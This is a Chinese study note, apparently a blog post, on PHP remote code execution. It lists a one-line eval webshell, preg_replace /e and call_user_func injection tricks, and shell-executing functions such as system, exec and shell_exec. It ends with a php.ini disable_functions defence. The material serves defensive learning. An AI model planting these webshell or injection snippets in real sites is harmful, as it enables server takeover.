前言
RCE远程代码执行学习笔记
本文仅用于网络信息防御学习
PHP代码注入
可能被注入的PHP代码
一句话木马
1
| @eval($_REQUEST[<pwd>]);
|
eval()
preg_replace()
preg_replace()
原义是通过正则表达式匹配字符串中的子字符,将其替换为新字符
- 如果第一个参数传递的正则表达式以
/e
结尾,且第二个参数传递的字符为\\1
,则会将第三个参数作为php代码执行
1
| preg_replace("/(.*)/e", '\\1', phpinfo());
|
call_user_func()
assert
:函数名
phpinfo()
:函数值
http://example.com/index.php?cmd=phpinfo
1
| call_user_func(assert, phpinfo());
|
动态函数
http://example.com/index.php?cmd=phpinfo
1 2
| $cmd = $_REQUEST["cmd"]; $cmd();
|
system()
<shell>
:系统命令字符串
exec()
<shell>
:系统命令字符串
shell_exec()
1
| print shell_exec("<shell>");
|
passthru()
1
| print passthru("<shell>");
|
反引号
查看当前文件所在的绝对路径
写入文件
<file>
:指定新创建文件的新创建的文件会放在站点根目录
1
| file_put_contents(<file>, <text>);
|
防御
通过配置文件关闭部分函数渲染
Mac
/private/etc/php.ini
1
| disable_functions = assert,system
|
完成
参考文献
哔哩哔哩——千锋教育网络安全学院